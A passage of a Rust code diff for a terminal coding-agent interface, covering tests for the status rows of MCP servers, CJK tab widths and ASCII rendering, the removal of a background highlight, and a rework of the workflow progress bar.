Some("MCP server 'aws' rejected initialize (command `uvx`): -32602"),
|
||||
false,
|
||||
),
|
||||
// Disabled in the file since this snapshot was taken.
|
||||
observed_row("linear", true, false, None, false),
|
||||
observed_row("chrome-devtools", true, false, None, false),
|
||||
],
|
||||
});
|
||||
app.mcp_retries.push(crate::tui::app::PendingMcpRetry {
|
||||
server: "chrome-devtools".into(),
|
||||
queued: true,
|
||||
result: std::sync::Arc::new(std::sync::Mutex::new(None)),
|
||||
});
|
||||
|
||||
let model = mcp_model(&app, Locale::En);
|
||||
let row = |name: &str| {
|
||||
model
|
||||
.groups
|
||||
.iter()
|
||||
.flat_map(|group| {
|
||||
group
|
||||
.items
|
||||
.iter()
|
||||
.map(move |item| (group.id.as_str(), item))
|
||||
})
|
||||
.find(|(_, item)| item.id == name)
|
||||
.unwrap_or_else(|| panic!("row {name}"))
|
||||
};
|
||||
let command = |item: &ExtensionItem| {
|
||||
item.action
|
||||
.as_ref()
|
||||
.and_then(ExtensionAction::command)
|
||||
.map(str::to_string)
|
||||
};
|
||||
|
||||
let (group, github) = row("github");
|
||||
assert_eq!((group, github.state.as_str()), ("servers", "connected"));
|
||||
assert_eq!(command(github), None);
|
||||
|
||||
let (group, playwright) = row("playwright");
|
||||
assert_eq!(
|
||||
(group, playwright.state.as_str()),
|
||||
("servers", "not started")
|
||||
);
|
||||
assert_eq!(playwright.tone, ExtensionTone::Idle);
|
||||
assert_eq!(
|
||||
command(playwright).as_deref(),
|
||||
Some("/mcp retry playwright")
|
||||
);
|
||||
assert_eq!(
|
||||
playwright.action.as_ref().map(ExtensionAction::label),
|
||||
Some("connect")
|
||||
);
|
||||
|
||||
let (group, stripe) = row("stripe");
|
||||
assert_eq!(group, MCP_LOGIN_GROUP_ID);
|
||||
assert_eq!(command(stripe).as_deref(), Some("/mcp login stripe"));
|
||||
|
||||
let (group, aws) = row("aws");
|
||||
assert_eq!((group, aws.state.as_str()), ("attention", "error"));
|
||||
assert_eq!(aws.tone, ExtensionTone::Failure);
|
||||
assert!(aws.detail.contains("rejected initialize"), "{}", aws.detail);
|
||||
|
||||
let (group, linear) = row("linear");
|
||||
assert_eq!((group, linear.state.as_str()), ("servers", "disabled"));
|
||||
assert_eq!(command(linear).as_deref(), Some("/mcp enable linear"));
|
||||
|
||||
let (_, chrome) = row("chrome-devtools");
|
||||
assert_eq!(chrome.state, "queued");
|
||||
assert_eq!(
|
||||
command(chrome),
|
||||
None,
|
||||
"a pending retry is not offered twice"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_mcp_opens_suggestions_without_installing_and_skills_manage_does_not_loop() {
|
||||
let _env = crate::test_support::lock_test_env();
|
||||
@@ -2479,6 +2680,50 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// Tab widths are display cells: a two-cell CJK label measured in chars
|
||||
/// clipped its own text and let the next tab paint over it, and the hit
|
||||
/// rect covered the wrong cells.
|
||||
#[test]
|
||||
fn wide_tab_labels_get_their_full_cell_width_and_matching_hit_rects() {
|
||||
let view = ExtensionsView::from_snapshot_with_locale(
|
||||
ExtensionsSnapshot::default(),
|
||||
ExtensionsTab::Hooks,
|
||||
Locale::ZhHans,
|
||||
);
|
||||
let area = Rect::new(0, 0, 100, 24);
|
||||
let mut buf = Buffer::empty(area);
|
||||
view.render(area, &mut buf);
|
||||
let tabs = view.hits.borrow().tabs.clone();
|
||||
assert_eq!(tabs.len(), ExtensionsTab::ALL.len());
|
||||
let mut next_x = tabs[0].0.x;
|
||||
for (rect, tab) in tabs {
|
||||
let label = tab.label(Locale::ZhHans);
|
||||
assert_eq!(
|
||||
usize::from(rect.width),
|
||||
UnicodeWidthStr::width(label.as_str()) + 2,
|
||||
"{tab:?} hit rect must match its painted width"
|
||||
);
|
||||
assert_eq!(
|
||||
rect.x, next_x,
|
||||
"{tab:?} must start where the previous tab ended"
|
||||
);
|
||||
next_x = rect.right();
|
||||
// Read the row as a terminal shows it: a wide glyph covers the
|
||||
// cell after it.
|
||||
let mut painted = String::new();
|
||||
let mut x = rect.x;
|
||||
while x < rect.right() {
|
||||
let symbol = buf[(x, rect.y)].symbol();
|
||||
painted.push_str(symbol);
|
||||
x += u16::try_from(UnicodeWidthStr::width(symbol).max(1)).unwrap_or(1);
|
||||
}
|
||||
assert!(
|
||||
painted.contains(label.as_str()),
|
||||
"{tab:?} label {label:?} clipped: {painted:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn workbench_extension_hover_preserves_selection_and_small_resize_clears_targets() {
|
||||
let mut view = view_on_item(ExtensionAction::Command {
|
||||
|
||||
@@ -8622,6 +8622,60 @@ base_url = "https://api.xiaomimimo.com/v1"
|
||||
}
|
||||
}
|
||||
|
||||
/// ASCII-safe terminals: every settings row kind (toggle, choice, number,
|
||||
/// text, action, read-only) and the panel chrome around it must narrow
|
||||
/// to ASCII through the backend's cell adapter. `✎` used to pass through
|
||||
/// untouched on every editable number/text row.
|
||||
#[test]
|
||||
fn config_panel_every_row_kind_renders_ascii_through_the_adapter() {
|
||||
let _guard = ConfigSettingsEnvGuard::new("theme = \"terminal\"\n");
|
||||
let app = create_test_app();
|
||||
let mut view = ConfigView::new_for_app(&app);
|
||||
let mut kinds_seen = Vec::new();
|
||||
for category in ConfigCategory::ALL {
|
||||
view.category = category;
|
||||
view.select_first_visible_row();
|
||||
let items = view.visible_items();
|
||||
for item in &items {
|
||||
if let ConfigListItem::Row(idx) = item {
|
||||
let kind = view.editor_kind(&view.rows[*idx]);
|
||||
if !kinds_seen.contains(&kind) {
|
||||
kinds_seen.push(kind);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Tall enough that the whole category paints without scrolling.
|
||||
let height = u16::try_from(items.len() + 16).unwrap_or(u16::MAX);
|
||||
let area = Rect::new(0, 0, 120, height);
|
||||
let mut buf = Buffer::empty(area);
|
||||
view.render(area, &mut buf);
|
||||
for y in area.top()..area.bottom() {
|
||||
for x in area.left()..area.right() {
|
||||
let mut cell = buf[(x, y)].clone();
|
||||
crate::tui::color_compat::adapt_cell_symbol_for_ascii(&mut cell);
|
||||
assert!(
|
||||
cell.symbol().is_ascii(),
|
||||
"{category:?} ({x},{y}): {:?} has no ASCII fallback",
|
||||
buf[(x, y)].symbol()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
for kind in [
|
||||
SettingKind::Boolean,
|
||||
SettingKind::Choice,
|
||||
SettingKind::Integer,
|
||||
SettingKind::Text,
|
||||
SettingKind::Action,
|
||||
SettingKind::ReadOnly,
|
||||
] {
|
||||
assert!(
|
||||
kinds_seen.contains(&kind),
|
||||
"no settings row of kind {kind:?} was rendered"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Slice C: cell-exact goldens for Edit Theme with the underwater
|
||||
/// default open — title, scope/current lanes, the 14 theme rows, and
|
||||
/// the Apply/Cancel controls. Empty settings mean the editor opens on
|
||||
|
||||
@@ -600,9 +600,6 @@ impl ChatWidget {
|
||||
|
||||
app.viewport.last_transcript_area = Some(transcript_area);
|
||||
app.viewport.last_transcript_padding_top = 0;
|
||||
let detail_target_cell = (!app.viewport.transcript_selection.is_active())
|
||||
.then(|| app.detail_cell_index_for_viewport(top, visible_lines, line_meta))
|
||||
.flatten();
|
||||
|
||||
let end = (top + visible_lines).min(total_lines);
|
||||
let mut lines = if total_lines == 0 {
|
||||
@@ -655,16 +652,12 @@ impl ChatWidget {
|
||||
app.last_send_at = None;
|
||||
}
|
||||
|
||||
if let Some(target_cell) = detail_target_cell {
|
||||
apply_detail_target_highlight(
|
||||
&mut lines,
|
||||
top,
|
||||
target_cell,
|
||||
line_meta,
|
||||
&app.collapsed_cell_map,
|
||||
);
|
||||
}
|
||||
|
||||
// No background "highlight" for the Alt+V detail target: it used to
|
||||
// paint the target cell's spans `Color::Reset`, which is invisible on
|
||||
// terminal-owned themes and a black hole on painted surfaces
|
||||
// (Underwater, Shoreline): the cell's text sat on the terminal's own
|
||||
// background, and CJK trailing columns left black remnants when the
|
||||
// cell scrolled (#6704). The footer's `Alt+V:details` hint names it.
|
||||
apply_selection(&mut lines, top, app);
|
||||
|
||||
if let Some(pin) = pinned_prompt {
|
||||
@@ -3687,30 +3680,6 @@ fn apply_selection(lines: &mut [Line<'static>], top: usize, app: &App) {
|
||||
}
|
||||
}
|
||||
|
||||
fn apply_detail_target_highlight(
|
||||
lines: &mut [Line<'static>],
|
||||
top: usize,
|
||||
target_cell: usize,
|
||||
line_meta: &[TranscriptLineMeta],
|
||||
original_index_map: &[usize],
|
||||
) {
|
||||
let highlight_bg = Color::Reset;
|
||||
for (idx, line) in lines.iter_mut().enumerate() {
|
||||
let line_index = top + idx;
|
||||
if let Some(TranscriptLineMeta::CellLine { cell_index, .. }) = line_meta.get(line_index)
|
||||
&& original_index_map
|
||||
.get(*cell_index)
|
||||
.copied()
|
||||
.unwrap_or(*cell_index)
|
||||
== target_cell
|
||||
{
|
||||
for span in &mut line.spans {
|
||||
span.style = span.style.bg(highlight_bg);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Apply a brief background tint to the last user message's visible lines.
|
||||
fn apply_send_flash(
|
||||
lines: &mut [Line<'static>],
|
||||
@@ -4935,15 +4904,15 @@ mod tests {
|
||||
use super::{
|
||||
ACTIVE_REVISION_DOMAIN, ApprovalWidget, COMPOSER_PANEL_HEIGHT, COMPOSER_PLACEHOLDER,
|
||||
ChatWidget, ComposerWidget, Renderable, SlashMenuEntry, active_composer_submit_rect,
|
||||
active_entry_revision, apply_detail_target_highlight, apply_selection_to_line,
|
||||
apply_send_flash, approval_palette, approval_truncation_hint, build_empty_state_lines,
|
||||
composer_content_geometry, composer_empty_hint_text, composer_height, composer_inner_area,
|
||||
composer_max_height, composer_submit_hint, composer_top_padding, cursor_row_col,
|
||||
empty_composer_visual_rows, enclosed_composer_panel_fits, fish_flee_offset, fish_heading,
|
||||
fish_mark, history_entry_revision, layout_input, layout_input_with_scroll,
|
||||
placeholder_visual_lines, push_command_entry, receipt_is_settling, revision_in_domain,
|
||||
should_render_empty_state, slash_completion_hints, tool_run_summary_revision,
|
||||
wrap_input_lines, wrap_input_lines_for_mouse, wrap_text,
|
||||
active_entry_revision, apply_selection_to_line, apply_send_flash, approval_palette,
|
||||
approval_truncation_hint, build_empty_state_lines, composer_content_geometry,
|
||||
composer_empty_hint_text, composer_height, composer_inner_area, composer_max_height,
|
||||
composer_submit_hint, composer_top_padding, cursor_row_col, empty_composer_visual_rows,
|
||||
enclosed_composer_panel_fits, fish_flee_offset, fish_heading, fish_mark,
|
||||
history_entry_revision, layout_input, layout_input_with_scroll, placeholder_visual_lines,
|
||||
push_command_entry, receipt_is_settling, revision_in_domain, should_render_empty_state,
|
||||
slash_completion_hints, tool_run_summary_revision, wrap_input_lines,
|
||||
wrap_input_lines_for_mouse, wrap_text,
|
||||
};
|
||||
use crate::config::{ApiProvider, Config};
|
||||
use crate::tui::active_cell::ActiveCell;
|
||||
@@ -5231,20 +5200,37 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// #6704: the Alt+V detail target (here a visible error cell) must not
|
||||
/// punch the terminal's own background through a painted surface. Its
|
||||
/// text used to be forced to `Color::Reset`, which Windows Terminal shows
|
||||
/// as black under the Underwater theme's navy water.
|
||||
#[test]
|
||||
fn detail_highlight_uses_original_index_map_for_collapsed_rows() {
|
||||
let mut lines = vec![Line::from("tool group")];
|
||||
let line_meta = vec![TranscriptLineMeta::CellLine {
|
||||
cell_index: 0,
|
||||
line_in_cell: 0,
|
||||
copy_prefix_width: 0,
|
||||
copy_separator_after: crate::tui::ui_text::CopyLineSeparator::Newline,
|
||||
}];
|
||||
let original_index_map = vec![4];
|
||||
fn detail_target_text_keeps_the_painted_surface() {
|
||||
let mut app = create_test_app();
|
||||
app.theme_id = codewhale_palette::ThemeId::Underwater;
|
||||
app.ui_theme = palette::UNDERWATER_UI_THEME;
|
||||
app.add_message(HistoryCell::User {
|
||||
content: "run the check".to_string(),
|
||||
});
|
||||
app.add_message(HistoryCell::Error {
|
||||
message: "验证失败 detail target".to_string(),
|
||||
severity: crate::error_taxonomy::ErrorSeverity::Error,
|
||||
});
|
||||
|
||||
apply_detail_target_highlight(&mut lines, 0, 4, &line_meta, &original_index_map);
|
||||
let area = Rect::new(0, 0, 80, 12);
|
||||
let mut buf = Buffer::empty(area);
|
||||
ChatWidget::new_with_ocean_elapsed(&mut app, area, 0).render(area, &mut buf);
|
||||
|
||||
assert_eq!(lines[0].spans[0].style.bg, Some(Color::Reset));
|
||||
let rendered = buffer_text(&buf, area);
|
||||
assert!(rendered.contains("detail target"), "{rendered}");
|
||||
let holes = (area.y..area.bottom())
|
||||
.flat_map(|y| (area.x..area.right()).map(move |x| (x, y)))
|
||||
.filter(|&pos| buf[pos].bg == Color::Reset)
|
||||
.collect::<Vec<_>>();
|
||||
assert!(
|
||||
holes.is_empty(),
|
||||
"cells fell through to the terminal background at {holes:?}:\n{rendered}"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -1,32 +1,36 @@
|
||||
//! The workbar: live workflow progress under the composer.
|
||||
//!
|
||||
//! The transcript carries one line when a workflow starts and one when it
|
||||
//! finishes (`history.rs`); everything in between lives here, under the
|
||||
//! composer and its posture bar, one row per run between two rules:
|
||||
//! The transcript carries one line per run — `started` while it runs, replaced
|
||||
//! by its finish line when it settles (`history.rs`, `App::announce_settled_workflows`);
|
||||
//! everything in between lives here, one row per run between the posture bar
|
||||
//! and the metrics line. The workbar draws no rules of its own: it is footer
|
||||
//! chrome like the rows around it, and a rule above and below it stacked with
|
||||
//! the work surface's divider into a ladder of separators.
|
||||
//!
|
||||
//! ```text
|
||||
//! ────────────────────────────────────────────────────────────────────────────
|
||||
//! • Compare Cline with Codewhale ████████░░░░░░░░░░░░ 4/10 so far 2m14s ↓1.2M ⚠ 1 failed · 2 queued
|
||||
//! ────────────────────────────────────────────────────────────────────────────
|
||||
//! • Compare Cline with Codewhale ████████××░░░░░░░░░░ 4/10 done · 1 failed 2m 14s ↓1.2M
|
||||
//! ✕ Release-readiness audit ×××××××××××××××××××× 0/2 done · 2 failed 355ms Authorization failed: …
|
||||
//! ```
|
||||
//!
|
||||
//! Row grammar: status mark · name · 20-cell bar · settled/total · elapsed ·
|
||||
//! ↓tokens · chips. The total is what the run has admitted *so far* — a script
|
||||
//! can keep spawning agents — so a running row says "so far" and the bar may
|
||||
//! move backwards when the total grows. Chips are only ever true: a failure
|
||||
//! count when an agent failed, "Large workflow" only past
|
||||
//! [`LARGE_WORKFLOW_AGENTS`], and `· N queued` only when the runtime reports
|
||||
//! follow-ups waiting on a busy agent of this run.
|
||||
//! Row grammar: state mark · short title · 20-cell bar · outcome counts ·
|
||||
//! elapsed · ↓tokens · tail. The bar paints succeeded agents `█` and failed
|
||||
//! agents `×` in their own inks, so a run whose agents all failed never reads
|
||||
//! as a finished bar. The counts say what succeeded, never what merely
|
||||
//! settled. The tail is only ever true: `Large workflow` past
|
||||
//! [`LARGE_WORKFLOW_AGENTS`], `· N queued` when the runtime reports follow-ups
|
||||
//! waiting on a busy agent of this run, and for a run that fell short, the one
|
||||
//! reason worth reading — the first sentence, cut only at a word boundary.
|
||||
//!
|
||||
//! Every state reads without colour (a distinct mark, and a word for
|
||||
//! anything that needs you). Nothing animates, so reduced motion needs no
|
||||
//! second path; ASCII-safe terminals get the backend's per-cell fallbacks.
|
||||
//! Every state reads without colour (a distinct mark, a distinct bar glyph,
|
||||
//! and a word for anything that needs you). Nothing animates, so reduced
|
||||
//! motion needs no second path; ASCII-safe terminals get the backend's
|
||||
//! per-cell fallbacks (`#`, `X`, `:`).
|
||||
|
||||
use ratatui::style::{Modifier, Style};
|
||||
use ratatui::text::{Line, Span};
|
||||
use unicode_width::UnicodeWidthStr;
|
||||
|
||||
use crate::tui::ui_text::truncate_line_to_width;
|
||||
use crate::tui::ui_text::{semantic_truncate, truncate_line_to_width};
|
||||
use crate::tui::widgets::workflow_panel::{WorkflowPanel, WorkflowPanelLifecycle};
|
||||
use codewhale_localization::{Locale, MessageId, tr};
|
||||
use codewhale_palette::UiTheme;
|
||||
@@ -41,9 +45,18 @@ pub(crate) const LARGE_WORKFLOW_AGENTS: usize = 25;
|
||||
pub(crate) const MAX_RUN_ROWS: usize = 6;
|
||||
/// The name column never shrinks below this before other columns go.
|
||||
const MIN_NAME_COLS: usize = 12;
|
||||
/// Nor grows past this: a long goal must not push the facts off the row.
|
||||
const MAX_NAME_COLS: usize = 40;
|
||||
/// Columns kept for the tail before the name takes the rest of the row.
|
||||
const TAIL_RESERVE_COLS: usize = 24;
|
||||
/// A reason squeezed below this many columns says nothing; it is left out.
|
||||
const MIN_REASON_COLS: usize = 12;
|
||||
/// Below this width the bar gives its columns to the name.
|
||||
const BAR_MIN_WIDTH: usize = 72;
|
||||
const GAP: &str = " ";
|
||||
const DONE_CELL: &str = "█";
|
||||
const FAILED_CELL: &str = "×";
|
||||
const OPEN_CELL: &str = "░";
|
||||
|
||||
/// One run as the workbar paints it: the run's own state plus the runtime's
|
||||
/// count of follow-ups waiting on its busy agents.
|
||||
@@ -52,9 +65,8 @@ pub(crate) struct WorkbarRun<'a> {
|
||||
pub queued: usize,
|
||||
}
|
||||
|
||||
/// Rows the workbar wants for `runs` runs, before the frame's budget: one
|
||||
/// per run (folded past [`MAX_RUN_ROWS`]) between a rule above and a rule
|
||||
/// below. No runs, no rows.
|
||||
/// Rows the workbar wants for `runs` runs, before the frame's budget: one per
|
||||
/// run, folded past [`MAX_RUN_ROWS`]. No runs, no rows.
|
||||
#[must_use]
|
||||
pub(crate) fn desired_rows(runs: usize) -> u16 {
|
||||
let rows = if runs > MAX_RUN_ROWS {
|
||||
@@ -62,13 +74,10 @@ pub(crate) fn desired_rows(runs: usize) -> u16 {
|
||||
} else {
|
||||
runs
|
||||
};
|
||||
let rules = if rows > 0 { 2 } else { 0 };
|
||||
u16::try_from(rows + rules).unwrap_or(u16::MAX)
|
||||
u16::try_from(rows).unwrap_or(u16::MAX)
|
||||
}
|
||||
|
||||
/// Paint the workbar into `area`: a rule, one row per run, a rule. A band
|
||||
/// too short for the rules and every run row keeps the runs and drops the
|
||||
/// rules: rules never hide a run.
|
||||
/// Paint the workbar into `area`: one row per run.
|
||||
pub(crate) fn render(
|
||||
area: ratatui::layout::Rect,
|
||||
buf: &mut ratatui::buffer::Buffer,
|
||||
@@ -81,32 +90,15 @@ pub(crate) fn render(
|
||||
if area.width == 0 || area.height == 0 || runs.is_empty() {
|
||||
return;
|
||||
}
|
||||
let run_rows = u16::try_from(runs.len().min(MAX_RUN_ROWS + 1)).unwrap_or(u16::MAX);
|
||||
let ruled = area.height >= run_rows.saturating_add(2);
|
||||
let row_area = if ruled {
|
||||
ratatui::layout::Rect {
|
||||
y: area.y + 1,
|
||||
height: area.height - 2,
|
||||
..area
|
||||
}
|
||||
} else {
|
||||
area
|
||||
};
|
||||
if ruled {
|
||||
let rule = "─".repeat(usize::from(area.width));
|
||||
let style = Style::default().fg(theme.border);
|
||||
buf.set_string(area.x, area.y, &rule, style);
|
||||
buf.set_string(area.x, area.bottom() - 1, &rule, style);
|
||||
}
|
||||
let rows = lines(
|
||||
runs,
|
||||
row_area.width,
|
||||
usize::from(row_area.height),
|
||||
area.width,
|
||||
usize::from(area.height),
|
||||
now_ms,
|
||||
theme,
|
||||
locale,
|
||||
);
|
||||
Paragraph::new(rows).render(row_area, buf);
|
||||
Paragraph::new(rows).render(area, buf);
|
||||
}
|
||||
|
||||
/// Paint `runs` into at most `max_rows` lines of `width` columns. When the
|
||||
@@ -134,7 +126,7 @@ pub(crate) fn lines(
|
||||
.iter()
|
||||
.map(|run| RowCells::new(run, now_ms, locale))
|
||||
.collect();
|
||||
let layout = Layout::fit(&cells, width.saturating_sub(2));
|
||||
let layout = Layout::fit(&cells, width.saturating_sub(1));
|
||||
let mut out: Vec<Line<'static>> = cells
|
||||
.iter()
|
||||
.map(|cells| cells.line(&layout, width, theme))
|
||||
@@ -164,39 +156,37 @@ struct RowCells {
|
||||
lifecycle: WorkflowPanelLifecycle,
|
||||
mark: &'static str,
|
||||
name: String,
|
||||
/// Filled cells of [`BAR_CELLS`].
|
||||
filled: usize,
|
||||
progress: String,
|
||||
/// Bar cells for succeeded and failed agents; the rest are open.
|
||||
done_cells: usize,
|
||||
failed_cells: usize,
|
||||
/// `k/n done`, then ` · m failed · c cancelled` when not zero.
|
||||
done: String,
|
||||
problems: String,
|
||||
elapsed: String,
|
||||
tokens: Option<String>,
|
||||
/// `(text, needs attention)`: attention chips paint in warning ink.
|
||||
/// `(text, needs attention)` chips, then the reason, in that order.
|
||||
chips: Vec<(String, bool)>,
|
||||
reason: Option<String>,
|
||||
}
|
||||
|
||||
impl RowCells {
|
||||
fn new(run: &WorkbarRun<'_>, now_ms: u64, locale: Locale) -> Self {
|
||||
let panel = run.panel;
|
||||
let (settled, total) = panel.done_total();
|
||||
let (failed, _) = panel.failure_cancel_counts();
|
||||
let (succeeded, failed_rows, _, total) = panel.row_outcomes();
|
||||
let lifecycle = panel.lifecycle;
|
||||
let filled = (settled * BAR_CELLS + total / 2)
|
||||
.checked_div(total)
|
||||
.unwrap_or(0)
|
||||
.min(BAR_CELLS);
|
||||
let progress = if total == 0 {
|
||||
tr(locale, MessageId::WorkflowNoTasksYet).into_owned()
|
||||
} else if lifecycle.is_running() {
|
||||
tr(locale, MessageId::WorkbarSoFar)
|
||||
.replace("{done}", &settled.to_string())
|
||||
.replace("{total}", &total.to_string())
|
||||
} else {
|
||||
format!("{settled}/{total}")
|
||||
let (done_cells, failed_cells) = bar_cells(succeeded, failed_rows, total);
|
||||
let counts = panel.outcome_counts_text();
|
||||
// The done count reads quiet; failures and cancels read in error ink.
|
||||
let (done, problems) = match counts.split_once(" · ") {
|
||||
Some((done, rest)) if total > 0 => (done.to_string(), format!(" · {rest}")),
|
||||
_ if total == 0 && panel.failure_cancel_counts() != (0, 0) => (String::new(), counts),
|
||||
_ => (counts, String::new()),
|
||||
};
|
||||
let end = panel.completed_at_ms.unwrap_or(now_ms);
|
||||
let elapsed = if panel.started_at_ms == 0 {
|
||||
String::new()
|
||||
} else {
|
||||
crate::elapsed::format_elapsed_secs(end.saturating_sub(panel.started_at_ms) / 1_000)
|
||||
crate::elapsed::format_elapsed_ms(end.saturating_sub(panel.started_at_ms))
|
||||
};
|
||||
let tokens = panel.tokens_so_far().map(|tokens| {
|
||||
format!(
|
||||
@@ -206,28 +196,6 @@ impl RowCells {
|
||||
});
|
||||
|
||||
let mut chips = Vec::new();
|
||||
match lifecycle {
|
||||
WorkflowPanelLifecycle::Failed => {
|
||||
chips.push((tr(locale, MessageId::WorkflowLineFailed).into_owned(), true))
|
||||
}
|
||||
WorkflowPanelLifecycle::Cancelled => chips.push((
|
||||
tr(locale, MessageId::WorkflowLineStopped).into_owned(),
|
||||
false,
|
||||
)),
|
||||
WorkflowPanelLifecycle::Degraded => chips.push((
|
||||
tr(locale, MessageId::WorkflowLineFinishedWithGaps).into_owned(),
|
||||
true,
|
||||
)),
|
||||
_ if failed > 0 => chips.push((
|
||||
format!(
|
||||
"⚠ {}",
|
||||
tr(locale, MessageId::WorkflowCountFailed)
|
||||
.replace("{count}", &failed.to_string())
|
||||
),
|
||||
true,
|
||||
)),
|
||||
_ => {}
|
||||
}
|
||||
if total >= LARGE_WORKFLOW_AGENTS {
|
||||
chips.push((
|
||||
format!("⚠ {}", tr(locale, MessageId::WorkbarLargeWorkflow)),
|
||||
@@ -244,23 +212,56 @@ impl RowCells {
|
||||
true,
|
||||
));
|
||||
}
|
||||
let name = panel.label.split_whitespace().collect::<Vec<_>>().join(" ");
|
||||
// A settled run that fell short says why. Failed leads with the reason
|
||||
// (its mark and `N failed` already say it failed); gaps and stops keep
|
||||
// their word, because their marks alone are not enough to tell them
|
||||
// from the others on an ASCII terminal.
|
||||
let reason = panel.outcome_reason();
|
||||
let word = |id: MessageId| tr(locale, id).into_owned();
|
||||
let reason = match lifecycle {
|
||||
WorkflowPanelLifecycle::Failed => {
|
||||
Some(reason.unwrap_or_else(|| word(MessageId::WorkflowLineFailed)))
|
||||
}
|
||||
WorkflowPanelLifecycle::Degraded => Some(match reason {
|
||||
Some(reason) => format!(
|
||||
"{} · {reason}",
|
||||
word(MessageId::WorkflowLineFinishedWithGaps)
|
||||
),
|
||||
None => word(MessageId::WorkflowLineFinishedWithGaps),
|
||||
}),
|
||||
WorkflowPanelLifecycle::Cancelled => Some(word(MessageId::WorkflowLineStopped)),
|
||||
_ => None,
|
||||
};
|
||||
Self {
|
||||
lifecycle,
|
||||
mark: lifecycle_mark(lifecycle),
|
||||
name: if name.is_empty() {
|
||||
"workflow".to_string()
|
||||
} else {
|
||||
name
|
||||
},
|
||||
filled,
|
||||
progress,
|
||||
name: semantic_truncate(&panel.short_title(), MAX_NAME_COLS),
|
||||
done_cells,
|
||||
failed_cells,
|
||||
done,
|
||||
problems,
|
||||
elapsed,
|
||||
tokens,
|
||||
chips,
|
||||
reason,
|
||||
}
|
||||
}
|
||||
|
||||
fn progress_width(&self) -> usize {
|
||||
self.done.width() + self.problems.width()
|
||||
}
|
||||
|
||||
fn tail_width(&self) -> usize {
|
||||
self.chips
|
||||
.iter()
|
||||
.map(|(chip, _)| chip.width() + 1)
|
||||
.sum::<usize>()
|
||||
+ self
|
||||
.reason
|
||||
.as_deref()
|
||||
.map_or(0, |reason| reason.width() + 1)
|
||||
}
|
||||
|
||||
fn line(&self, layout: &Layout, width: usize, theme: &UiTheme) -> Line<'static> {
|
||||
let state_ink = lifecycle_ink(self.lifecycle, theme);
|
||||
let quiet = Style::default().fg(theme.text_muted);
|
||||
@@ -269,7 +270,7 @@ impl RowCells {
|
||||
Span::styled(format!("{} ", self.mark), Style::default().fg(state_ink)),
|
||||
Span::styled(
|
||||
pad(
|
||||
&crate::tui::ui_text::semantic_truncate(&self.name, layout.name_cols),
|
||||
&semantic_truncate(&self.name, layout.name_room),
|
||||
layout.name_cols,
|
||||
),
|
||||
Style::default()
|
||||
@@ -278,21 +279,30 @@ impl RowCells {
|
||||
),
|
||||
];
|
||||
if layout.bar {
|
||||
let open = BAR_CELLS - self.done_cells - self.failed_cells;
|
||||
spans.push(Span::raw(GAP));
|
||||
spans.push(Span::styled(
|
||||
"█".repeat(self.filled),
|
||||
Style::default().fg(state_ink),
|
||||
DONE_CELL.repeat(self.done_cells),
|
||||
Style::default().fg(theme.success),
|
||||
));
|
||||
spans.push(Span::styled(
|
||||
"░".repeat(BAR_CELLS - self.filled),
|
||||
FAILED_CELL.repeat(self.failed_cells),
|
||||
Style::default().fg(theme.error_fg),
|
||||
));
|
||||
spans.push(Span::styled(
|
||||
OPEN_CELL.repeat(open),
|
||||
Style::default().fg(theme.text_hint),
|
||||
));
|
||||
}
|
||||
spans.push(Span::raw(GAP));
|
||||
spans.push(Span::styled(self.done.clone(), quiet));
|
||||
spans.push(Span::styled(
|
||||
pad(&self.progress, layout.progress_cols),
|
||||
quiet,
|
||||
self.problems.clone(),
|
||||
Style::default().fg(theme.error_fg),
|
||||
));
|
||||
spans.push(Span::raw(" ".repeat(
|
||||
layout.progress_cols.saturating_sub(self.progress_width()),
|
||||
)));
|
||||
if layout.elapsed_cols > 0 {
|
||||
spans.push(Span::raw(GAP));
|
||||
spans.push(Span::styled(pad(&self.elapsed, layout.elapsed_cols), quiet));
|
||||
@@ -304,21 +314,55 @@ impl RowCells {
|
||||
quiet,
|
||||
));
|
||||
}
|
||||
let mut used: usize = spans.iter().map(|span| span.content.width()).sum();
|
||||
for (index, (chip, attention)) in self.chips.iter().enumerate() {
|
||||
spans.push(Span::raw(if index == 0 { GAP } else { " " }));
|
||||
let gap = if index == 0 { GAP } else { " " };
|
||||
spans.push(Span::raw(gap));
|
||||
let ink = if *attention {
|
||||
theme.warning
|
||||
} else {
|
||||
theme.text_muted
|
||||
};
|
||||
spans.push(Span::styled(chip.clone(), Style::default().fg(ink)));
|
||||
used += gap.width() + chip.width();
|
||||
}
|
||||
if let Some(reason) = self.reason.as_deref() {
|
||||
let gap = if self.chips.is_empty() { GAP } else { " " };
|
||||
// The reason takes what the row has left, cut at a word boundary.
|
||||
let room = width.saturating_sub(used + gap.width());
|
||||
if room >= MIN_REASON_COLS.min(reason.width()) {
|
||||
spans.push(Span::raw(gap));
|
||||
spans.push(Span::styled(
|
||||
semantic_truncate(reason, room),
|
||||
Style::default().fg(state_ink),
|
||||
));
|
||||
}
|
||||
}
|
||||
clip_line(spans, width)
|
||||
}
|
||||
}
|
||||
|
||||
/// Split [`BAR_CELLS`] between succeeded and failed agents of `total`. A
|
||||
/// non-zero count always gets at least one cell, so one failure in a large run
|
||||
/// is still visible, and the two segments never overflow the bar.
|
||||
fn bar_cells(succeeded: usize, failed: usize, total: usize) -> (usize, usize) {
|
||||
if total == 0 {
|
||||
return (0, 0);
|
||||
}
|
||||
let cells = |count: usize| {
|
||||
let cells = (count * BAR_CELLS + total / 2) / total;
|
||||
if count > 0 { cells.max(1) } else { 0 }.min(BAR_CELLS)
|
||||
};
|
||||
let failed = cells(failed);
|
||||
let done = cells(succeeded).min(BAR_CELLS - failed);
|
||||
(done, failed)
|
||||
}
|
||||
|
||||
/// Column widths shared by every visible row, so the columns line up.
|
||||
struct Layout {
|
||||
/// Room the name is truncated into, and the column it is padded to (the
|
||||
/// widest name as shown, which a word-boundary cut can leave shorter).
|
||||
name_room: usize,
|
||||
name_cols: usize,
|
||||
bar: bool,
|
||||
progress_cols: usize,
|
||||
@@ -328,48 +372,48 @@ struct Layout {
|
||||
|
||||
impl Layout {
